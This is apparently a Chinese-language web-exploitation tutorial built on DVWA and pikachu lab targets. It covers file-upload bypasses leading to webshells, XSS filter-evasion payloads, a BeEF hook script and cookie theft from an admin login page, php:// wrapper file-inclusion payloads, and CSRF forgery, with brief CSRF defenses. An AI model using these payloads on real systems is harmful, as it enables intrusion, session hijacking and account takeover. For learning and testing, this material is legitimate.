基本漏洞利用
最后更新于
最后更新于
**原理:**Mime是通过判断你的文件类型(不是后缀名)来决定是否允许你上传文件,只需抓包修改content_type
值就能绕过验证
如下所示是一个常见的MIME代码
**原理:**在文件上传的源码上写入了js代码来验证文件的类型,但是这是写在客户端上的,也就是通过我们客户端去验证的,而客户端属于本地的,最简单的方法是在浏览器上关闭JavaScript
打开火狐浏览器,网址搜索框输入about:config
, 将JavaScript.enabled
设置为false
设置完毕后再次打开含有js代码的网页, 但是js代码并不会在浏览器中执行
**原理: **利用%00
来截断文件后缀(==注意:url编码后才是%00
,在抓包修改文件名时需对截断符号进行url解码==), 此方法也可以绕过Js本地验证
原理: .htaccess
文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件, 可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户访问目录等等。
.htaccess
文件代码表示: 调用php的解析器去解析一个文件名只需包含“cimer”
字符串的任意文件
若一个文件的名字为cimer.txt
, 其内容是一句话代码, 那么apache就会调用php解析器去解析此文件, 后面就可以通过中国菜刀连接webshell
如下.htaccess
文件代码表示: 调用php的解析器去解析一个文件名只需包含“cimer”
字符串的jpg文件
上传的jpg均已php执行,将.htaccess
文件上传后,再上传一句话木马的jpg格式,文件名需包含cimer
字符串
Xss攻击分为三种,分别是反射型、存储型和DOM型,通常反射型的xss攻击并没有太大卵用
**XSS Reflected:**非持续性, 经过后端, 但不经过数据库
**XSS Store: **持续性, 经过后端和数据库
**DOM型: ** 不经过后端, 基于文档对象模型的一种漏洞, 需通过url传入恶意参数至文档对象, 然后其他标签通过文档对象获取信息时触发xss
下图是一个包含DOM型xss漏洞的php代码
对x参数传入xss代码: <img src=1 onerror=alert(1)>
导致div标签变成<div id="print"><?php echo <img src=1 onerror=alert(1);?>></div>
点击div标签即可触发xss
1.弹框警告
2.页面嵌套
3.页面重定向
跳转至其他页面
4.远程访问恶意js代码
5.利用图片标签
这里我使用的是kali系统, 先开启apache服务: service apache2 start
随后点击工具栏处的beef
访问beef控制端: http://127.0.0.1:3000/ui/panel
, 输入账号密码, 默认为beef
xss利用代码: <script src="http://192.168.246.129:3000/hook.js"></script>
在含有xss存储型漏洞的地方输入我们的利用代码
若有用户触发了xss, 在beef的控制端可以看到上线信息
下图是beef的一些功能
原理: 通过将js代码写入到后台登录成功指向的文件中,那么用户每次登录你都会获取他的cookie
如下图所示分别为登录成功和登录失败的两个页面
在登录成功页面Admin_ChkLogin.asp
插入XSS恶意代码, 若用户登录成功便会发送cookie给hacker
1.单引号、双引号和尖括号之间的闭合。
有些标签如<input value="输入值">
, 构造的payload应该为” ><script>alert(1)</script>
,那么组成的标签为<input value=""><script>alert(1)</script>"
2.若尖括号被转义,可利用注释符号和其他属性事件
例如这个标签<input value="输入值">
,构造payload应该为" onclick=alert(1)//
,那么组成的标签为<input value="" onclick=alert(1)//">
3.某些关键字被过滤, 可以换其他标签
若过滤了script
和onclick
这两个关键字,可以选择其他标签,记得注意下尖括号的闭合,例如换成a
标签,构成的xss代码为:<a href=”javascript:alert(1)”
,或者换个IMG标签,payload:<img src=1 onerror=alert(1) >
若网页使用str_replace()
函数过滤关键字,则可切换大小写来绕过, 例如这个xss代码:<a HREF=”javascript:alert(1)”
若将关键字替换成了空格,则可以使用嵌套绕过,例如它将script
替换成了空格, 则构成的xss代码为<sscriptcript>alert(1)</sscriptcript>
,它替换后的标签会变成<script>alert(1)</script>
也可以使用一些特殊符号来进行绕过,例如%09
(tab制表符) %0a
(绕过空格过滤)。当script
被过滤掉时, 构成的xss代码为<a href=”javascr%09ipt:alert(1)”>
;当空格被过滤的时候, 构成的xss代码为:<img%0asrc=1%0aonerror=alert(1)>
4、有些标签的属性会验证url的合法性。
一般是看href
里有没有http://
字符串,只需在xss代码加个http://
然后再加个注释符就可以了,例如这个xss代码:<a href=”javascript:alert(1)//http://”
攻击者通过某些手段去获取网站服务器开发者不允许读到的文件,例如服务器上的各种配置文件、文件形式存储的密钥、服务器信息、历史命令等等
不同的Web语言其任意文件读取漏洞的触发点也会存在差异, 本篇文章以PHP
、Python
、Java
为例
与文件读取相关的函数有: file_get_contents()
、file()
、fopen()
与文件包含相关的函数有: include()
、require()
、include_once()
、require_once()
与系统命令执行相关的函数有: system()
、exec()
在php配置文件php.ini中有两个参数涉及文件包含漏洞,分别是allow_url_fopen
和allow_url_include
allow_url_fopen: 是否允许将url作为文件打开处理
allow_url_include: 是否允许includeI()和require()函数包含远程URL作为文件处理
若allow_url_fopen = on
, 而allow_url_include = off
, 则只能利用本地文件包含漏洞; 若allow_url_fopen
和allow_url_include
都设置为on
, 则可利用远程文件包含漏洞
用dvwa靶场作为实例, 如下图所示, 通过本地文件包含漏洞可以访问网站服务器的任意本地文件, 只需将include.php
替换成含有恶意代码的php文件
首先制作一个包含恶意代码的图片木马, 使用Imgtrjs工具对图片写入一句话木马代码
上传制作好的图片木马至网站目录, 将参数替换成木马图片的相对路径
在PHP中有很多功能不同但形式相似的协议, 统称为Wrapper, 其中最具特色的协议便是php://协议, 也叫php伪协议
PHP中有一个特色的机制是Filter, 其作用是对目前的Wrapper进行处理(例如把当前文件流的内容转换成大写)
若服务端的include函数的路径参数可控, 通常它会将目标文件当作php文件去解析, 若解析的文件中存在<?php
等php标签, 则此标签中内容会被当做php代码执行
有php.ini中,allow_url_fopen
和allow_url_include
会影响到fopen()
和include()
等函数对伪协议的支持,而allow_url_include
依赖allow_url_fopen
,所以allow_url_fopen
不开启的话,allow_url_include
也是无法使用的
此处常用到的伪协议php://input
和php://filter
需要求allow_url_include=On
1.php://input
php://input
: 输出所提交的post数据, 若此数据带有php标签, 则解析其标签内的php代码
访问url: http://127.0.0.1:88/vulnerabilities/fi/?page=php://input
post数据: phpinfo()
2.php://filter
php://filter
: 对文件数据流进行处理, 例如编码或解码
常用的任意文件读取payload: php://filter/read=convert.base64-encode/resouce=upload.php
此处以dvwa靶场为例, 访问url:http://127.0.0.1:88/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
输出结果为base64加密后的file1.php文件内容, 如下图所示
若没有对数据流处理而直接访问: http://127.0.0.1:88/vulnerabilities/fi/?page=php://filter//resource=file1.php
, 则直接执行file.php文件的php代码, 如下图所示
3.data://text/plain
data://text/plain
: 配合include函数实现远程命令执行
4.ziv://
与phar://
ziv://
和phar://
: 配合文件上传功能执行php代码
新建一个txt文件, 其文件内容为<?php phpinfo()?>
, 随后将此文件压缩成zip文件, 再将后缀名zip修改成任意后缀名, 例如jpg,png等等
这里修改成jpg文件, 将其上传到网站服务器
返回到存在文件包含漏洞页面, 访问以下url, 此处分别用到ziv://
和phar://
协议, 回显效果均为执行phpinfo()页面
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者"Session Riding",通常缩写为CSRF或者XSRF
尽管听起来跟XSS好像差不多, 其实这两者是完全不同的。在CSRF的攻击场景中攻击者会伪造一个请求(该请求通常为url链接), 然后欺骗用户去点击, 若用户点击了那么整个攻击流程就结束了, 这也就是为何CSRF被称为"One Click Attack"
与XSS攻击相比,CSRF攻击往往不大流行, 因此对其进行防范的资源也相当稀少和难以防范,所以被认为比XSS更具危险性。
此处用pikachu靶场来演示CSRF攻击的两种利用方式
首先随便登录一个账号: vince/allen/kobe/grady/kevin/lucy/lili
, 密码均为123456
, 然后使用burpsuite抓取修改个人信息的数据包, 或者F12打开控制台切换至Network进行抓包
我们将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成[email protected]
, 那么构成的CSRF攻击payload为http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&[email protected]&submit=submit
若用户点击了上述伪造的url, 则会将用户自己的邮箱修改成[email protected]
虽然POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改
此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording
开始抓包
抓到修改个人信息的数据包后, 在CSRFTESTER删除除了POST请求的其他数据, 将类型修改成POST
, 然后点击下面的Generate HTML
生成HTML文件
找到生成的HTML文件并对其编辑, 将下面那行<input type="hidden" name="submit" value="submit"/>
修改成<input type="submit" name="submit" value="submit"/>
, 然后其他POST参数都可自行设置, 这里我将电话号码修改成了999999999
在浏览器打开生成的恶意网页, 当用户点击submit按钮后, 用户的个人信息就会被修改
造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token
), 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击
查看pikachu靶场的token_get_edit.php的源码, 发现有一个set_token()
函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中
在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值, 从而无法进行CSRF攻击
在进行提交表单的操作增加验证码
设置会话管理机制, 例如15分钟后无操作则自动退出登录
修改敏感信息需对身份证进行二次验证, 例如修改密码时需输入旧密码
修改敏感信息使用POST请求而不是使用GET请求
通过HTTP请求头的Referer来限制原页面
先上传一个脚本类型文件,发现提示文件类型错误
抓包后修改content_type
的值为image/jpeg
下图是常见的文件类型
js验证代码如下
抓包修改上传文件的名字, 添加截断符号%00
后并对其解码, 例如此处我修改的文件名为ll.php%00.jpg
最终上传到网站服务器的是php文件
`